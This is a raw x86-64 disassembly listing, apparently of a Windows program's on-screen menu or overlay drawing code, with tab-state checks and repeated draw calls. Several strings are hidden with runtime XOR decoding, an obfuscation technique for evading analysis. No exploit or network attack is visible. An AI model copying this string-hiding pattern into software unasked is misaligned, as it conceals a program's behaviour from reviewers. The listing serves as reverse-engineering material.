mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23f0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23f8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2400], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2408], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2410], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2418], rax
vmovdqu ymm0, ymmword [rbp + 0x23e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2400]
vmovdqa ymmword [rbp + 0x23e0], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vmovss xmm0, dword [0x14014e014]
vmovss dword [rsp + 0x28], xmm0
vunpcklps xmm6, xmm6, xmm7
vmovsd qword [rsp + 0x20], xmm6
vmovss xmm3, dword [0x14014dfa4]
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x23e0]
mov rcx, qword [0x14038e858]
vzeroupper
call fcn.140045eb0
comiss xmm12, dword [0x14014e154]
jbe 0x140048e20
mov byte [0x14038e8b4], 0
mov dword [0x14038e7a0], 3
movaps xmm12, xmm14
movss dword [rbp + 0x170], xmm14
jmp 0x140048e2d
cmp dword [0x14038e7a0], 3
jne 0x14004a5c2
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WS2_32.dll_recv
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xe70]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [0x14038718c]
movss xmm1, dword [0x14014e06c]
lea rcx, [rbp + 0x2f8]
call fcn.1400014d0
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x300]
call fcn.1400014d0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014e008]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023b20
movss xmm0, dword [0x14014e034]
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x308]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
mov rcx, qword [rbp + 0x210]
call fcn.140012420
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x310]
call fcn.1400014d0
cmp dword [0x14038e7a0], 3
sete cl
mov r8, rax
lea rdx, [0x140147738]
call fcn.140032fc0
test al, al
je 0x140048f23
mov dword [0x14038e7a0], 3
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x318]
call fcn.1400014d0
cmp dword [0x14038e7a0], 4
sete cl
mov r8, rax
lea rdx, [0x14014773c]
call fcn.140032fc0
test al, al
je 0x140048f5e
mov dword [0x14038e7a0], 4
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x320]
call fcn.1400014d0
cmp dword [0x14038e7a0], 5
sete cl
mov r8, rax
lea rdx, [0x140147740]
call fcn.140032fc0
test al, al
je 0x140048f99
mov dword [0x14038e7a0], 5
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x328]
call fcn.1400014d0
cmp dword [0x14038e7a0], 6
sete cl
mov r8, rax
lea rdx, [0x140147744]
call fcn.140032fc0
test al, al
je 0x140048fd4
mov dword [0x14038e7a0], 6
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x330]
call fcn.1400014d0
cmp dword [0x14038e7a0], 7
sete cl
mov r8, rax
lea rdx, [0x140147748]
call fcn.140032fc0
test al, al
je 0x14004900f
mov dword [0x14038e7a0], 7
call fcn.1400124c0
call fcn.140016b70
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e040]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e07c]
lea rcx, [rbp + 0x338]
call fcn.1400014d0
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0dc]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e150]
lea rcx, [rbp + 0x340]
call fcn.1400014d0
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x348]
call fcn.1400014d0
mov rbx, rax
mov dword [rsp + 0x20], __WSAFDIsSet
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0xe80]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
movss dword [rsp + 0x38], xmm14
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], rbx
movss xmm0, dword [0x14014e058]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x340]
lea rdx, [rbp + 0x338]
mov rcx, r15
call fcn.1400254e0
call fcn.140012a00
mov rbx, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0xe90]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
movss xmm7, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm7
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x340]
lea rdx, [rbp + 0x338]
mov rcx, rbx
call fcn.140023a40
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa43081c6154d3
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xea0], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xea8], rcx
movabs r15, 0x7afa43081c615497
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xeb0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xeb8], rax
movdqa xmm0, xmmword [rbp + 0xeb0]
xorps xmm0, xmmword [rbp + 0xea0]
movdqa xmmword [rbp + 0xea0], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0xec0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e028]
movss xmm1, dword [0x14014e080]
lea rcx, [rbp + 0x350]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0xea0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm6, dword [0x14014e010]
movaps xmm2, xmm6
mov rdx, qword [0x14038e860]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1596266f72003cd4
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xed0], rcx
movabs rax, 0xabe13b9d1595ca37
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xed8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xee8], rax
movdqa xmm0, xmmword [rbp + 0xee0]
xorps xmm0, xmmword [rbp + 0xed0]
movdqa xmmword [rbp + 0xed0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xef0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e028]
movss xmm1, dword [0x14014e098]
lea rcx, [rbp + 0x358]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0xed0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a8d26463c3c7fcc
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2420], rcx
movabs rax, 0xce8948e845b58305
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2428], rcx
movabs rax, 0xce5c620a59692be5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2430], rax
movabs rsi, 0xf90d78d79683203a
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2438], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2440], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2448], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2450], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2458], rax
vmovdqu ymm0, ymmword [rbp + 0x2420]
vpxor ymm1, ymm0, ymmword [rbp + 0x2440]
vmovdqa ymmword [rbp + 0x2420], ymm1
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xf00]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e048]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x360]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x2420]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1f882c453c3c7fcc
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf10], rcx
movabs rax, 0xab9548f873f49970
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf18], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf20], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf28], rax
movdqa xmm0, xmmword [rbp + 0xf20]
xorps xmm0, xmmword [rbp + 0xf10]
movdqa xmmword [rbp + 0xf10], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xf30]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e054]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x368]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0xf10]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1696364e3c3c7fcc
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2460], rcx
movabs rax, 0xce955ef97bc0ea29
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2468], rcx
movabs rax, 0xce5c620a3d0c5fe2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2470], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2478], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2480], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2488], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2490], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2498], rax
vmovdqu ymm0, ymmword [rbp + 0x2460]
vpxor ymm1, ymm0, ymmword [rbp + 0x2480]
vmovdqa ymmword [rbp + 0x2460], ymm1
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xf40]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e068]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x370]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x2460]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x33bc065d3c3c7fcc
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf50], rcx
movabs rax, 0xabe15ff871f18b70
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf58], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf68], rax
movdqa xmm0, xmmword [rbp + 0xf60]
xorps xmm0, xmmword [rbp + 0xf50]
movdqa xmmword [rbp + 0xf50], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xf70]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e07c]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x378]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0xf50]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x88a2e413c3c7fcc
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x24a0], rcx
movabs rax, 0xd9846bbd71f0bc3f
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x24a8], rcx
movabs rax, 0xab3f0c6b341b44e7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24b0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24b8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24c0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24c8], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24d0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24d8], rax
vmovdqu ymm0, ymmword [rbp + 0x24a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x24c0]
vmovdqa ymmword [rbp + 0x24a0], ymm1
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xf80]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e094]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x380]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x24a0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1f8a2c64791731d3
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x24e0], rcx
movabs rax, 0xfbc148ee7cd8ea22
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x24e8], rcx
movabs rax, 0xf47c11632b0847ee
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24f0], rax
movabs rax, 0xf90d78d796832012
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24f8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2500], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2508], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2510], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2518], rax
vmovdqu ymm0, ymmword [rbp + 0x24e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2500]
vmovdqa ymmword [rbp + 0x24e0], ymm1
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xf90]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e0a8]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x388]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x24e0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a9e2666720038c7
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2520], rcx
movabs rax, 0x8b925efa7bf4a213
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2528], rcx
movabs rax, 0xba240744791b44c7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2530], rax
movabs rax, 0xf9680cb6f2f3751a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2538], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2540], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2548], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2550], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2558], rax
vmovdqu ymm0, ymmword [rbp + 0x2520]
vpxor ymm1, ymm0, ymmword [rbp + 0x2540]
vmovdqa ymmword [rbp + 0x2520], ymm1
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xfa0]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e0fc]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x390]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x2520]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0xfb0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e0fc]
movss xmm1, dword [0x14014e070]
lea rcx, [rbp + 0x398]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [0x14014774c]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [rbp + 0x210]
mov rcx, rdi
call fcn.140023de0
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e10c]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e07c]
lea rcx, [rbp + 0x3a0]
call fcn.1400014d0
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e140]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e110]
lea rcx, [rbp + 0x3a8]
call fcn.1400014d0
call fcn.140012a00
mov rbx, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0x5a
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xfc0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
movss dword [rsp + 0x30], xmm7
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfdc]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x3a8]
lea rdx, [rbp + 0x3a0]
mov rcx, rbx
call fcn.140023a40
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7aca6d393c2c02d9
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfd0], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfd8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xfe0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xfe8], rax
movdqa xmm0, xmmword [rbp + 0xfe0]
xorps xmm0, xmmword [rbp + 0xfd0]
movdqa xmmword [rbp + 0xfd0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xff0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e114]
movss xmm7, dword [0x14014e084]
movaps xmm1, xmm7
lea rcx, [rbp + 0x3b0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0xfd0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm2, dword [0x14014e000]
mov rdx, qword [0x14038e850]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x99d364a3c193dd1
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1000], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1008], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1010], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1018], rax
movdqa xmm0, xmmword [rbp + 0x1010]
xorps xmm0, xmmword [rbp + 0x1000]
movdqa xmmword [rbp + 0x1000], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xc8
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1020]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e120]
movaps xmm1, xmm7
lea rcx, [rbp + 0x3b8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1000]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm7, dword [0x14014e00c]
movaps xmm2, xmm7
mov rdx, qword [0x14038e850]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xe932f4f3c193dd1
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1030], rcx
movabs rax, 0xabe13b9d66f0a233
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1038], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1040], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1048], rax
movdqa xmm0, xmmword [rbp + 0x1040]
xorps xmm0, xmmword [rbp + 0x1030]
movdqa xmmword [rbp + 0x1030], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xc8
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1050]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e130]
movss xmm1, dword [0x14014e084]
lea rcx, [rbp + 0x3c0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1030]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm2, dword [0x14014dffc]
mov rdx, qword [0x14038e868]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a9e2666720038c7
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1060], rcx
movabs rax, 0xab925efa7bf4a213
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1068], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1070], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1078], rax
movdqa xmm0, xmmword [rbp + 0x1070]
xorps xmm0, xmmword [rbp + 0x1060]
movdqa xmmword [rbp + 0x1060], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xc8
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1080]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e13c]
movss xmm1, dword [0x14014e084]
lea rcx, [rbp + 0x3c8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1060]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm2, dword [0x14014dffc]
mov rdx, qword [0x14038e850]
mov rcx, rdi
call fcn.140023de0
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e10c]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e134]
lea rcx, [rbp + 0x3d0]
call fcn.1400014d0
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e140]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e158]
lea rcx, [rbp + 0x3d8]
call fcn.1400014d0
call fcn.140012a00
mov rbx, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0x5a
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1090]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
movss xmm0, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfdc]
movss dword [rsp + 0x20], xmm0
